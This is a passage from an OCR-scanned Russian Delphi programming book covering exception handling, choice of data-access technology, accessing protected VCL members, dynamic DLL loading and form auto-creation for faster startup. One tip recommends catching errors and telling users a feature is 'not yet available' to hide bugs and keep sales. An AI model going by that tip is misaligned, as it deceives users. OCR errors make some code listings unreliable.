перенаправить выполнение программы в другое русло с целью не допустить фатального исхода. Допустим, что вы хотите сделать программу сервисом. В Win9x это делалось с помощью вызова функции registerserviceprocess, но в NT-системах сервисы ра- ботают по-другому и там процесс регистрации происходит иначе, поэтому вызов функции приведет к ошибке. Такой функции в системе Windows NT нет. Как можно решить эту проблему? В лучшем варианте будет проверить версии ОС, а потом, в зависимости от этого, использовать нужную функцию, но в такой ситу- ации проверка может быть недоступна. Тогда можно воспользоваться исключи- тельными ситуациями: try asm push 1 push О call registerserviceprocess; end; except // Регистрация для NT-систем end; Код отработает в обоих случаях вполне корректно, и программа не выдаст фаталь- ных ошибок.
1 7. Используемые технологии 39 Если стоит выбор между двумя вариантами, то без проблем можно воспользо- ваться возможностями try. .except. При выборе из трех вариантов нельзя строить вложенность из исключительных ситуаций, как в листинге 1.6. Вложенные про- верки внутри блока except, .end ухудшают не только читабельность кода и даль- нейшее сопровождение, но и совсем не повышают надежность. Листинг 1.6. Вложенная исключительная ситуация try asm push 1 push О call registerserviceprocess; end: except try // Регистрация для NT-систем except // Регистрация для .NET-систем end: end; Теперь рассмотрим, как можно превратить недостатки в преимущества. Во всех процедурах, где используется обращение к памяти или есть «сомнительный» код. можно использовать исключительные ситуации следующего вида: procedure Имя(параметры); begin try // Код процедуры except ShowMessage('Эта возможность еще недоступна, ждите новых версий'); end; end; Таким образом, пользователь будет ждать новой версии. Если же появится ошиб- ка, то программа будет удалена, а вы потеряете клиента. Вот такой хитрый прием в стиле Билла Гейтса может сыграть вам на руку и даже повысить продажи программы. 1.7. Используемые технологии Когда вы разрабатываете программу, старайтесь учитывать будущее развитие рынка информационных технологий. Используйте только современные техноло- гии, потому что переход всегда происходит постепенно. Очень сложно перенести код программы, написанной для Win 3.11, на Windows 2003, потому что слишком много отличий. Microsoft, Oracle, Borland и другие корпорации стараются сделать все возможное, чтобы переходы на новые технологии были плавными и просты- ми. Но если «скакать» через версию или через десятилетия в развитии техноло- гий, то ни о какой простоте говорить уже невозможно.
40 Глава 1. Правильный код Поддержка программ должна происходить постоянно, а не скачками, иначе за- траты на скачок будут слишком большими и невыгодными. Постоянно развивай- те свой продукт, чтобы для для пользователя переходы были по возможности не- заметными. На данный момент поддержка технологии доступа к данным через BDE корпора- цией Borland закрыта. Выпуск новых версий не планируется, и нет смысла ис- пользовать ее в своих продуктах. Намного выгоднее взять за основу что-то совре- менное (ADO или dbExpress), иначе вы заведомо ставите себя в тяжелые условия при дальнейшем сопровождении продукта. До сих пор осталось много консервативных программистов, которые по привыч- ке используют BDE и Delphi 3-5 только из-за того, что они привыкли именно к этим технологиям. Каждый день они борются с недостатками BDE, но, несмот- ря на это, продолжают использовать эту программу. Это напоминает мне борьбу программистов с Microsoft, когда люди ругают Билла Гейтса и Windows, а сами применяют его продукты. Именно из-за этой борьбы некоторые не хотят перехо- дить на ADO или другие более совершенные технологии. То же самое относится и к среде разработки. Используйте только последние вер- сии. В них исправлено много ошибок, добавлены новые возможности. Если вовремя не перейти на новую версию программы, то можно сильно отстать, и потом переход будет сложным. Вы опять встретитесь с проблемой, когда пол- ное переписывание кода будет выгоднее плавного перехода. Отсутствие оформления, неподходящая технология или неправильно написан- ный код могут привести к тому, что программу проще будет написать с нуля Не- которые действительно думают, что лучше написать что-то новое, чем адаптиро- вать старое. Иногда это утверждение верно, но в большинстве случаев является ошибочным по двум причинам: 1. Хорошо написанный код легче адаптировать, чем писать заново. 2. Писать заново сложнее, потому что неинтересно. Представьте себе ситуацию, когда вас заставляют сто раз подряд собрать и разо- брать велосипед. Это утомительно, и через какое-то время вы обязательно уволи- тесь. В цехах, где люди работают на конвейере, начальники и бригадиры и то пыта- ются как-то разнообразить труд работника, чтобы он не так уставал от монотонности выполняемых операций. Я видел много проектов, которые должны были переписать, и ни один из них пока не завершен, потому что процесс это утомительный и неинтересный. Во время переписывания первоначальная задача требует изменений и дополнений, что тормозит разработку новой версии. Внедрение новой версии поверх уже су- ществующей системы отнимает слишком много сил (тестирование, отладка, перенос данных из старой системы в новую, переобучение сотрудников). Под- считав все расходы, или руководство, или сами программисты выбирают перво- начальный вариант. Есть программисты, которые до сих пор пишут в Delphi 4 только потому, что для более новой версии нет нужного компонента. Это совершенно неправильный под-
1.8. Ненужные компоненты 41 ход. Из-за одной возможности вы теряете сотни новых удобств, которые могли бы упросить разработку и повысить надежность программы. Однажды я видел программу, которая была написана в Delphi без использования VCL и, конечно же, без использования визуального дизайнера. Все делалось на «чистом» Windows API, и количество кода было громадным. Да, такая программа занимала намного меньше места, но затраты на ее написание были несоизмеримы с выгодой. Такое решение можно было бы оправдать, только если программа дол- жна была копироваться через Интернет, тогда уменьшение размера уменьшает трафик. В данном случае никакого копирования не планировалось. Воспользуйтесь готовыми технологиями, которые упрощают нашу жизнь и дела- ют ее красивее и удобнее. В наше время никто не разжигает огонь с помощью па- лочек, как первобытные люди, когда есть спички и зажигалки. Подходит как-то сын к отцу программисту и спрашивает: «Папа, а почему солнце всегда встает на востоке и заходит на западе?». Отец отвечает: «Если работает, то не трогай». «Лучше ничего не трогать» — действительно очень распространенное мнение среди программистов Именно оно не дает использовать новые техноло- гии из-за боязни неработоспособности кода в новых системах. Если не будет ра- ботать, то лучше сейчас потратить немного времени на доработку кода, чем потом месяцы на переписывание всего. Хакеры всегда знают, как устроен и как работает код, и у них такое выражение не должно вырываться из уст. Вы обязаны знать то, что пишете и понимать то, что используете из сторонних разработок. В противном случае вы превращаетесь в среднестатистического программиста, а сейчас таких много в любой компании. Зачем же трогать то, что работает? Если есть необходимость, то можно тронуть что угодно. Такие ситуации чаще всего возникают именно при переходе на более современную технологию Вроде бы программа работает и всех устраивает, но же- лательно все же осуществить переход. Если бы все компании так думали, то не выходили бы новые, более удобные версии любимых программ, а новые возмож- ности просто появлялись бы в виде Plug-in или маленьких обновлений. Новые технологии чаще всего направлены на повышение производительности и надежности создаваемых приложений. Помимо этого, вы получаете в свое рас- поряжение новые инструменты и возможности. 1.8. Ненужные компоненты Я всегда считал компонентную модель Delphi очень мощным средством. Но эта мощь хороша только,в меру. Не надо создавать компоненты для каждой мелочи, иначе их будет слишком много и работать будет неудобно. Взять хотя бы библиотеку JEDI, которая содержит более 200 компонентов. Одну треть из них можно было бы без проблем оформить в виде простых мо- дулей и не загромождать панель инструментов. Еще одна треть добавляет не- значительные возможности к уже существующим. Оставшиеся компоненты действительно нужны.
42 Глава 1. Правильный код 1.8.1. Когда нужно создавать свои компоненты Свои компоненты нужно создавать в таких случаях: • Создается что-то действительно уникальное, или добавляется возможность, которая не может работать отдельно, или реализация в виде модуля будет слишком сложной и трудоемкой. • Когда создается уникальный компонент, в котором изменяется визуальное представление и компонент должен выглядеть визуально. Допустим, что вы хотите создать компонент DBGrid, который сможет экспортиро- вать данные в Excel. Это довольно просто. Нужно избавиться от старого метода, добавить новый и использовать его. А теперь представим, что вы решили поме- нять стандартный DBGrid HaRxDBGrid или другую реализацию, чтобы использовать возможности, которых нет в стандартном компоненте. Придется изменить исход- ный код вашего компонента и выводить его из нового родителя. После этого нет гарантии, что все будет работать правильно (вы можете перекрыть своими мето- дами важный метод родительского объекта). Я бы реализовал экспорт в виде функции в отдельном модуле. Этой функции нуж- но было бы передать указатель на компонент, подобный DBGrid, и она бы экспор- тировала все его содержимое в Excel. В Интернете есть множество реализаций для сетей данных, и при использовании функции можно гарантировать, что она будет работать с любой из этих реализаций, если сеть выведена из DBGrid (имеет в каче- стве родителя). 1.8.2. Взлом компонентов В VCL некоторые компоненты скрывают свойства или методы своих родите- лей: видимо, разработчики посчитали, что так будет лучше. Простейший при- мер с DBGrid — мы не можем изменить высоту отдельной колонки программно, а иногда очень хочется. Посмотрим на иерархию компонента (рис. 1.5). Как ви- дите, среди родителей есть TCustomGrid (сетка таблицы, от которой все и идет), а у него есть свойство RowHeights, позволяющее изменить высоту любой строки. В потомках это свойство закрыто, но оно остается. Как же получить доступ к свойству, если оно закрыто? Очень просто. Нужно при- вести компонент к виду родителя: TStringGrid(DBGridl) .RowHeights[l] := 100; В этом примере мы изменяем высоту первой строки компонента DBGrid. На рис. 1.6 показан результат работы кода, а на компакт-диске можно найти проект, исполь- зующий такой нехитрый прием. Бывают случаи, когда нужно получить доступ к закрытым (private или protected) свойствам или методам компонента. По идее, к закрытым вещам невозможно по- лучить доступ, но это только идея, которая на практике легко взламывается. ПРИМЕЧАНИЕ ----------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch01\HackGrid.
1.8. Ненужные компоненты 43 Hierarchy IQbtsst I TPe-rsntent I TCom»onenf 7....... TCs?XtixgJ. 1 1 ТС»;яотСотго1 1 IC^omGrid 1 1 TPBGrid Рис. 1.5. Иерархия компонента DBGrid Рис. 1.6. Пример увеличения высоты отдельной строки в DBGrid Все, что находится в разделе protected, можно без проблем использовать, сделав всего пару манипуляций. Например, у кнопки TButton есть protected метод Сгеа- teWnd. Если попытаться вызвать его напрямую, то возникнет ошибка. Попробуем взломать этот класс. Создайте новый проект и поместите на форму кнопку. Теперь в разделе type мо- дуля после описания класса формы добавим описание класса TMyButton, который будет являться потомком от TButton: TMyButton = cl ass(TButton) end; Никакие свойства и методы этому классу не нужны. Теперь к закрытому методу можно получить доступ, написав следующую строку: TMyButton(Buttonl).CreateWnd;
44 Глава 1. Правильный код Вот так, через дружественный класс, мы получили доступ к закрытому методу и, возможно, сэкономили массу времени на переписывании необходимого кода, ко- торый был всего лишь закрыт. Разработчики фирмы Borland закрывают методы не просто так. Если что-то было закрыто, это значит, что использование из других классов нежелательно или даже опасно. Именно поэтому пользоваться этим методом нужно очень осторожно и после использования тщательно протестировать пример на работоспособность. ПРИМЕЧАНИЕ --------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch01\HackButton.
Глава 2 Оптимизация Искусство программирования — умение быстро и качественно решить поставлен- ную задачу. Цель хакера — решение задачи при высоком быстродействии и на- дежности программы. Я встречал многих программистов, которые отлично справ- ляются со своими обязанностями, но их программы работают настолько медленно, что смотреть жалко. Любой пользовать хочет, чтобы программа работала быстро и не зависала при простейших расчетах. Если вы думаете только о том, чтобы вам легче программи- ровалось, то ваши работы будут продаваться плохо, и вас вряд ли можно будет назвать даже программистом. Для достижения наивысших продаж вы должны снабдить продукт легким и удобным интерфейсом и при этом обеспечить макси- мальную производительность. Тут же вспоминаю времена, когда оперативная память компьютера была ограни- чена килобайтами, а скорость процессора не превышала 10 МГц. Тогда програм- мисты писали на низкоуровневых языках и экономили каждый байт памяти и каждый такт процессора. Сейчас же мы привыкли к визуальным языкам, и боль- шинство программистов даже не задумываются о том, как работает программа, что происходит, и, конечно же, не могут определить причины потери производи- тельности. Когда скорость процессора стала измеряться в сотнях мегагерц, то многие просто перестали обращать внимание на производительность. Первое время пользовате- лей смущало, что старые программы работают быстрее новых, но потом они сми- рились. А программисты стали пользоваться этим. Но ведь можно уделить немно- го внимания оптимизации и сделать свои программы быстродействующими. Давайте рассмотрим основные методы повышения производительности. Я уже не раз писал о них, но в данной книге мы затронем эту тему более подробно, и я на-
46 Глава 2. Оптимизация деюсь, что вы узнаете много нового. Практические примеры помогут вам при со- здании реальных приложений. 2.1. Когда оптимизировать код Об оптимизации надо начинать задумываться уже с самого начала создания про- граммы. Вы заранее должны выбрать наиболее эффективные методы решения поставленной задачи, чтобы потом не пришлось переписывать весь код. Часть методов повышения производительности можно использовать уже на этапе пла- нирования кода. Мы рассмотрим некоторые способы оптимизации скорости выполнения програм- мы, которые надо использовать во время разработки. Прежде чем писать какую- то процедуру или модуль, обязательно представьте себе логику выполнения или нарисуйте ее на бумаге, чтобы можно было увидеть, какие методы можно исполь- зовать сразу. Но даже не пытайтесь сразу написать код, максимально быстрый в выполнении, потому что это не получится. Во время отладки можно встретить какие-то ошибки в логике или работе программы, и тогда, ради решения возникших проблем, начи- нает страдать оптимизация. После завершения разработки вы все равно должны будете снова обратить внимание на оптимизацию исправлений, которые были сде- ланы во время отладки. Получится, что вы дважды оптимизируете один и тот же код. Но это не значит, что оптимизация не нужна вовсе, просто не надо уделять ей слишком большое внимание на этапе отладки. После того как программа будет готова, можно приступать к следующему этапу повышения производительности. Во время тестирования готового продукта по- старайтесь найти все слабые места, в которых выполнение происходит медленно. Именно этим участкам нужно уделить особое внимание. 2.2. Знания о системе Первое, что влияет на производительность, — ваши знания о системе и умение использовать эти знания. Вы должны полностью изучить систему, в которой про- граммируете. Когда чего-то не знаете, ищите наиболее эффективный метод реше- ния проблемы, а не тот, который первым придет на ум, даже если задачу надо было решить еще вчера. Когда код будет написан, никогда не хватит времени, чтобы оптимизировать его и переписать заново, даже если это очень просто. В одной из систем автоматизации складского учета я видел очень интересный пример. Для поиска активного окна использовался перебор всех запущенных окон и проверялось самое верхнее. Таким образом, цикл выполнялся долго, а ведь мож- но было использовать только одну функцию GetForegroundWindow. Из-за незнания Win API программист нашел первое попавшееся решение, и я думаю, что долго мучился над его реализацией. А ведь можно было потратить это время на поиск лучшего решения. к
2.3. Загрузка программы 47 Из-за отсутствия необходимых знаний программисты очень часто неэффективно используют ресурсы и сильно теряют в производительности. Большинство прак- тических примеров, которые будут рассматриваться дальше, раскроют секреты ра- боты программ и ОС. Вам же останется только правильно использовать получен- ную информацию. 2.3. Загрузка программы Перед тем как программа начнет выполнение, она загружается в оперативную память. Конечно же, код загружается не полностью, а только та его часть, которая нужна для инициализации и работы программы, но иногда ее размер может быть значительным. В одной из фирм, где я совсем недолго работал, корпоративная программа занимала 50 Мбайт в исполняемом файле. Конечно же, загрузка про- исходила не очень быстро, но терпимо, только потому, что инициализация осуще- ствлялась оптимальным образом для такого большого проекта. Для оптимизации загрузки желательно создать небольшой код. Для этого никог- да не встраивайте в исполняемый файл большие картинки, видео- или аудиоре- сурсы. Я всегда храню такие данные в отдельных файлах, но возможно их пред- ставление в динамических библиотеках. Если форма, перегруженная графикой, должна будет инициализироваться при старте программы, то это может занять много времени. Очень часто для уменьшения размера программы код размещают в динамических библиотеках. В этом случае вы действительно можете увеличить скорость загруз- ки, но не всегда. Наиболее эффективным решением является перенос в библиотеку такого кода, который будет выполняться редко. Например, окно О программе пользователь может вообще никогда не посмотреть, а его в основном делают красивым, с изо- бражениями и интересными эффектами. Так зачем же все это хранить в основ- ном файле? Конечно же, смысла нет, поэтому такие вещи очень часто выносят в отдельные библиотеки. Простой перенос кода в динамическую библиотеку не дает выигрыша в скорости, если не загружать ее динамически. Самый простой способ подключить dll-файл в Delphi — это добавить в начало модуля описание функции, например, такое: function FuncName(Paraml: Type): Boolean; stdcall; external ’filename.dll’ index 1; Здесь объявляется функция с именем FuncName, которая расположена в файле file- name.dll. После этого функцию можно использовать, как будто она описана в ос- новном проекте и не вынесена в отдельный файл. При таком объявлении Delphi откомпилирует код так, что библиотека будет загружаться во время запуска про- граммы, а это сведет преимущество dll-файлов на нет. Чтобы действительно повысить скорость загрузки, необходимо подключать биб- лиотеку динамически. Это позволит производить загрузку только в тот момент, когда это необходимо.
48 Глава 2. Оптимизация Допустим, что в динамически подключаемой библиотеке имеется функция сле- дующего вида: function CalculateSomthing(Sum: Integer): Integer; export; stdcall; Теперь, чтобы ее использовать динамически, нельзя явно указывать функцию и ее местоположение. Мы должны объявить в разделе type новый тип, который будет иметь тип функции. Это необходимо для того, чтобы программа знала пара- метры и тип возвращаемого значения функции, которая будет загружаться: CalcFunc = function (Summ: Integer): Integer; stdcall: Теперь функция будет динамической (листинг 2.1). Для этого явно загружаем ее функцией LoadLibrary. В качестве параметра нужно указать библиотеку или пол- ный/относительный путь к ней (если она расположена в папке, которая недоступ- на программе). Если загрузка пройдет успешно, то функция возвратит ненулевое значение, иначе результат будет равен 0. Результат работы функции LoadLi brary — это указатель на загружаемую библиотеку, поэтому его надо сохранить для даль- нейшей работы. Листинг 2.1. Динамическая загрузка библиотеки procedure TForml.ButtonlClick(Sender: TObject); var dll Handle: THandle: fCalc: CalcFunc; 1 Result: Integer; begin dll Handle : = LoadLibrary(’test.dll’); if dll Handle = 0 then exit; // Библиотека не загрузилась @fCalc := GetProcAddress(dllHandle, ’CalculateSomthing'); if @fCalc=nil then exit; // Функция не найдена iResult ;= fCalc(lOO): FreeLibrary(dllHandle); end; На следующем этапе ищем необходимую функцию внутри загруженной библио- теки. Для этого используется функция GetProcAddress. В качестве первого пара- метра используется указатель на загруженную библиотеку, а второго — имя ис- комой функции. Результатом будет указатель на найденную функцию, который сохраняем в переменной, имеющей тип библиотечной функции. Если результат равен нулю, то функция не найдена. Такая ситуация может возникнуть из-за того; что библиотека была изменена или мы загрузили другой dll-файл с таким же име- нем.
2.4. Инициализация 49 Если все прошло успешно, то вызываем функцию через переменную. По окончании работы с библиотечными функциями обязательно выгружаем биб- лиотеку из памяти. Это осуществляется при помощи функции FreeLibrary, где в ка- честве указателя передается указатель на загруженную библиотеку. Таким образом, dll-файл будет загружаться не автоматически при старте програм- мы, а только тогда, когда это нужно. Так можно повысить скорость запуска основ- ного файла. Если функции какой-либо библиотеки используются в программе часто, то име- ет смысл загружать их на этапе старта программы, чтобы при последующей рабо- те не было лишних затрат времени на загрузку и выгрузку dll-файла. Если же функции нужны редко, то стоит написать небольшой код для их явной загрузки. Помните, что dll-файлы нужны не только для увеличения скорости загрузки за- пускных файлов, но и для разделения одних и тех же функций между нескольки- ми приложениями. 2.4. Инициализация В процессе загрузки начинается инициализация форм, которые используются в программе. Чем больше в проекте форм и при этом инициализируемых при стар- те программы, тем дольше будет происходить загрузка. Именно поэтому данному вопросу нужно посвятить особое внимание, и если правильно создавать формы, то можно ускорить работу в несколько раз. Давайте запустим Delphi Если у вас уже есть собственные программы, то открой- те что-нибудь содержащее несколько форм. Теперь выберите пункт меню Pro- ject ► Source, чтобы открыть исходный проект, содержащий код инициализации. Рассмотрим пример небольшого проекта (листинг 2.2). Листинг 2.2. Инициализация форм program oms: uses Forms, MainUnit in ’MainUnit.pas’ {MainForm}, DatabaseDirectoryUnit in ’DatabaseDirectoryUnit.pas', DataModuleMainUnit in ’DataModuleMainUnit.pas’ {dmMain: TDataModule}. DBDirectoryTemplateUnit in ’DBDirectoryTemplateUnit.pas’ {DBDirectoryTemplateForm}. EditDBDirectoryUnit in ’EditDBDirectoryllnit.pas’ {EditDBDirectoryForm}. OrganizationsUnit in ’OrganizationsUnit.pas' {OrganizationForm}, EditOrganizUnit in 'EditOrganizUnit.pas’ {EditOrganizForm}, Loginllnit in 'LoginUnit.pas’ {PasswordForm} OptionsUnit in 'OptionsUnit.pas’ {OptionsForm}, FindlnGridUnit in 'FindlnGridUnit.pas' {FindlnGridForm}, Insurantunit in 'Insurantunit pas' {InsurantForm} UtilsUnit in ’Uti1sUnit.pas’. продолжение &
50 Глава 2. Оптимизация Листинг 2.2 (продолжение) EditPersonUnit in 'EditPersonUnit.pas' {EditlnsurantForm}, FindlnsurantUnit in 'FindlnsurantUnit.pas’ {FindlnsurantForm}. Sei ectOrgani zati onUm't in 'SeiectOrganizationUnit.pas' {SelectOrganizationForm}, AboutUnit in 'AboutUnit.pas’ {AboutForm}, Securityunit in 'SecurityUnit.pas' {SecurityForm}, DoubleFoundUnit in 'DoubleFoundUnit.pas' {DoubleFoundForm}. ProgramsHistoryUnit in 'ProgramsHistoryUnit.pas* {PersonHistoryForm}; {$R *.res} begin Application.Initialize; Application.Title := 'ОСАГО Страхование’; Application.CreateForm(TMai nForm, Mai nForm); Application.CreateForm(TEditOrganizForm, EditOrganizForm); Application.CreateForm(TOptionsForm. OptionsForm); Application.CreateForm(TFindInGridForm, FindlnGridForm); Application.CreateForm(TEditInsurantForm, EditlnsurantForm); Application.CreateForm(TFindInsurantForm, FindlnsurantForm); Application.CreateForm(TSelectOrganizationForm. SeiectOrganizationForm); Application.CreateForm(TAboutForm. AboutForm); Appl ication.CreateForm(TSecurityForm, SecurityForm); Application.CreateForm(TDoubleFoundForm, DoubleFoundForm); Application.CreateForm(TPersonHistoryForm. PersonHistoryForm); Application.Run; end. Вручную этот код нужно редактировать очень аккуратно, потому что это может сильно повлиять на работу программы, поэтому надо хорошо знать, что здесь про- исходит. В самом начале расположена большая секция подключения модулей. Первым в списке подключается Forms, так как в нем находятся функции инициализации форм. Без этих функций проект компилироваться не будет. После этого подключаются все модули вашего проекта, в которых формы требу- ют инициализации во время загрузки программы, например; MainUnit in 'MainUnit.pas' Эта конструкция говорит о том, что подключается модуль MainUnit, который рас- положен в файле MainUnit.pas. После модулей подключаем файл ресурсов; {$R *.res} Эта конструкция подключает к проекту файл с таким же именем, как и у проекта, но с расширением res. Если вы программировали на языке C++, то знаете, что там все диалоговые окна, изображения, пиктограммы и другие визуальные элементы хранятся в виде ресурсов, которые компилируются и прикрепляются к исполня- емому файлу.
2.4. Инициализация 51 В Delphi визуальная среда более сложная, поэтому здесь визуальные компоненты хранятся и помещаются в проект в собственном формате. Программисты в Delphi с классическими ресурсами не работают, но они все же необходимы. ОС Windows берет из ресурсов пиктограммы, которые вы можете видеть в Проводнике, и дру- гого способа их получить нет. Именно поэтому в Delphi автоматически создается файл ресурсов с указанной в свойствах проекта пиктограммой (рис. 2.1). Рис. 2.1. Файл ресурсов с пиктограммой, открытый в программе Borland Image Editor В большинстве случаев этот файл редактировать нет смысла, но может возник- нуть ситуация, когда в исполняемом файле надо сохранить какое-то изображение или видеоролик, чтобы программа состояла только из одного файла. В этом слу- чае для хранения собственных данных используют файл ресурсов, который на этапе компиляции прикрепляется к запускному файлу, и во время запуска вы можете получить из него сохраненные данные. Теперь переходим к рассмотрению кода, который выполняется между begin и end. Здесь вся работа происходит с объектом Application (тип TApplication), который всегда создается автоматически для любой программы, использующей визуаль- ную библиотеку VCL (Visual Component Library — визуальная библиотека ком- понентов'). Самым первым должен вызываться метод Inicialize, который инициализирует систему. Есть некоторые методы, которые могут отработать без ошибок и до это- го метода, но, чтобы не было проблем, лучше сначала произвести инициализа- цию. До этой строки можно вставлять код, который работает только с функциями
52 Глава 2. Оптимизация Win API. Если нужно вызвать что-то из набора VCL, то это желательно делать после вызова метода Ini ci al i ze. Убирать вызов метода Inicial ize я не советую. Опять же, если в вашей программе используется VCL й вы уберете эту строку, то программа с ошибками, но запус- тится. А вот дальнейшее нормальное выполнение будет невозможно, и практи- чески при каждой команде программа будет выдавать ошибку. В следующей строке заполняется свойство Titlе объекта Appl ication. Это свойство содержит текстовую строку, которую потом можно будет увидеть в Панели задач на пиктограмме вашей программы. Этот текст можно изменять вручную или вос- пользоваться свойствами проекта. Для этого выберите пункт меню Project ► Options и в появившемся диалоговом окне перейдите на вкладку Application (рис. 2.2). Рис. 2.2. Свойства проекта, вкладка Application Далее идет создание форм с помощью метода CreateForm, у которого имеются сле- дующие параметры: • объект (форма); • переменная, которая будет ссылаться на созданный объект. Самой первой создается форма, которая является главной, поэтому, если будете изменять порядок инициализации вручную, помните об этой особенности. Во время создания форм для каждой из них вызывается обработчик события OnCreate. Если ваша форма будет создаваться автоматически и при этом отобра- жаться не сразу, то исключите ее из автоматического создания или как минимум не помещайте сложные расчеты по событию OnCreate, потому что это отнимет лиш- нее время при загрузке. Если вы создаете многодокументное приложение (MDI), то по умолчанию глав- ное окно будет иметь в свойстве Visible значение true. Это значит, что сразу пос-
2.4. Инициализация 53 ле события OnCreate будет обработано событие OnShow Порядок загрузки будет сле- дующим: 1. Создание главного окна. 2. Обработка события OnCreate главного окна. Свойство Visible в данном случае равно true, и окно во время создания видимо. 3. Обработка события OnShow главного окна. 4. Создание следующего в списке окна. 5. Обработка события OnCreate нового окна. 6. Если еще не все окна созданы, переход на шаг 4. 7. Запуск приложения на выполнение. Если в обработчике события OnShow обратиться к форме, которая должна была быть создана автоматически, то произойдет ошибка, потому что остальные фор- мы еще не созданы. Если обращение необходимо, то вы должны удалить форму из списка создаваемых автоматически и производить инициализацию вручную в событии OnShow главной формы до ее использования. При создании однодокументного приложения (SDI) главное окно будет отобра- жаться последним (если свойство Visible равно false) после создания всех окон. Порядок загрузки будет следующим: 1. Создание главного окна. 2. Обработка события OnCreate главного окна. Свойство Visible в данном случае равно true, и окно во время создания видимо. 3. Создание следующего в списке окна. 4. Обработка события OnCreate нового окна. 5. Если еще не все окна созданы, переход на шаг 3. 6. Обработка события OnShow главного окна. 7. Запуск приложения на выполнение. В этом случае в обработчике события OnShow можно смело обращаться к другим окнам, потому что они уже созданы. Удаление из автоинициализации можно производить двумя способами: • Удалить соответствующую строку в исходном коде проекта и перенести ее в нужное место, например в обработчик события OnShow • Выбрать пункт меню Project ► Options и на вкладке Forms открывшегося диало- гового окна (рис. 2.3) перенести имя формы из списка Auto-create forms в спи- сок Available forms. Здесь же можно выбрать главную форму программы в выпа- дающем списке Main form. Удалять формы из автоинициализации нужно не только для MDI-приложений с целью доступа к ним из события OnShow, но и для любых других. Если окно со- держит множество компонентов, то его создание может отнять лишнее время. А ес- ли это окно используется нечасто (для редко используемой опции), то инициали-
54 Глава 2, Оптимизация зация будет бессмысленной. Уж лучше пусть запускной файл будет больше, чем создавать при запуске все, что только в нем есть. Рис. 2.3. Изменение автосоздаваемых форм Очень важно правильно выбрать для автоинициализации только те формы, кото- рые в этом нуждаются. Если вы работаете со своей программой, то можете по сво- ему опыту выяснить, какие окна чаще всего нужны. Если вы работаете на заказ, для стороннего заказчика, то можно только догадываться. В этом случае лучше познакомиться с работой, которую нужно компьютеризировать, и определить, ка- кие операции выполняются чаще всего, чтобы создавать при запуске программы только те окна, которые необходимы для выполнения этих операций. Постарайтесь убрать из автозагрузки как можно больше окон, чтобы ускорить запуск программы. Но не забывайте теперь перед отображением окна и после за- крытия создавать и уничтожать соответствующую переменную. Например, если у вас есть форма с именем GetParamForm, которая не создается автоматически и ее необходимо отобразить модально, то это можно сделать следующим образом: GetParamForm := TGetParamForm.Create(Appllcatlori); GetParamForm.ShowModal; // Получение параметров от формы GetParamForm.Free; Перед отображением формы мы создаем для нее соответствующую переменную. После этого происходит отображение окна. Когда пользователь ввел необходи- мые данные, мы получаем их и после этого уничтожаем выделенную для формы память. Некоторые забывают про уничтожение, а представьте, если программа 100 раз отобразит это окно, и 100 раз вы будете выделять ей необходимую память без уничтожения! В оперативной памяти будет такой бардак, что для слабого ком- пьютера может потребоваться перезагрузка.
2.5. Слабые места 55 Если программа все равно запускается слишком медленно, то на время загрузки на экран лучше всего выводить окно приветствия, которое будет показывать, что компьютер не завис и работа идет. Начинающие пользователи очень часто пыта- ются запустить ярлык повторно, если после первого раза ничего не произошло в течение 3-5 секунд. Для отображения окна хода загрузки создайте новую форму, на которую можно поместить какое-нибудь приятное изображение и надпись типа «Идет загрузка». Затем откройте исходный код проекта и добавьте в самое начало (можно до вызо- ва Application.Initialize) следующий код: LoadingForm := TLoadingForm.Create(Application); LoadingForm.Show; LoadingForm.Update; Здесь LoadingForm означает имя формы отображения хода загрузки. По событию OnShow для главной формы, когда загрузка уже завершена, это окно можно закры- вать. Для этого напишите следующий код: LoadingForm.Close; LoadingForm.Free; Здесь мы сначала закрываем окно, а потом освобождаем выделенную память, по- тому что форма нам больше не понадобится. < 2.5. Слабые места Как мы уже знаем, после написания кода программы нужно начинать оптимиза- цию. Этот процесс включает в себя поиск узких мест программы. Нет смысла оп- тимизировать то, что и так работает быстро и незаметно для глаз даже на слабом компьютере. Поэтому начинайте оптимизацию с тех участков, где выполнение происходит слишком медленно. Устранив все узкие места программы, проверьте производительность. Если она вас устраивает, то можно закончить работу. Не забывайте о том, что могут по- явиться новые слабые места, требующие доработки. Я уже не раз приводил пример из своей практики и приведу его еще раз Когда я в 1995 году пытался написать собственный движок трехмерного мира (набор функций для прорисовки графики игры) под DOS (в стиле Doom), то он у меня получился слишком медленным. Долгие оптимизации ни к чему не приводили, и перемещение по-прежнему происходило с задержками даже на довольно мощ- ном для того времени компьютере Pentium 100 с 32 Мбайт памяти. При этом мир состоял только из стен, «обтянутых» текстурами, без артефактов и противников. Я потратил около месяца на «вылизывание» каждой строчки кода, но эффект был минимален. Тогда я остановился и стал реально оценивать слабые места. Расчет сцены происходил быстро, а самым медленным был именно вывод на экран. В MS- DOS его можно было осуществить с помощью прерываний, прямого доступа к па- мяти и переключения страниц в совокупности с прямым доступом к памяти. Я ис- пользовал второй способ, а про третий даже не знал. Тогда мне на глаза попалась
56 Глава 2. Оптимизация статья на английском языке, где описывался пример переключения активной ви- деостраницы. Я реализовал это на языке С, и скорость вывода улучшилась. Расчет сцены занимал намного меньше времени, чем видеовывод. Копирование в видеопамять происходило побайтно, а так как данных было достаточно, то про- цесс отнимал много времени. После того как я переписал вывод на экран на ас- семблере и сделал копирование данных в видеобуфер сразу по два слова или 4 байта (DWORD), мой мир «забегал, как сумасшедший». Я понял, что оптимизация очень сложный процесс, и пока я ею занимался, у меня пропало стремление создавать какую-то игру. Стало понятно, что тренировка зна- ний прошла успешно, но создавать коммерческий продукт в одиночку, в то вре- мя, когда все переходили на Windows, было глупо Вот так мой проект и остался лежать на запыленной полке в архиве на одной из «болванок». Зато я приобрел хороший опыт, и если вы хотите потренироваться в оптимизации, то советую по- работать с графикой. Именно здесь скорость вывода сложных сцен на экран мо- нитора в реальном времени встает на первое место. Самое важное — это то, что нужно правильно определить слабое место в програм- ме. Если вы допустите ошибку и будете оптимизировать и так быстро выполняю- щийся код, то ваша работа не принесет должного результата. В дальнейшем мы будем рассматривать различные слабые места и способы их оп- тимизации. Видеовывод тоже все еще остается слабым местом, но мы его рассмат- ривать не будем, потому что это тема для книги по графике и зависит от использу- емой технологии (OpenGL или DirectX). Наша задача — рассмотреть общие методы. 2.6. Оптимизация циклов По моему опыту, наибольшее время исполнения имеют длинные циклы, в кото- рых какой-нибудь участок кода выполняется многократно. Если внутри цикла есть операция, занимающая длительный промежуток времени при выполнении, то появляется 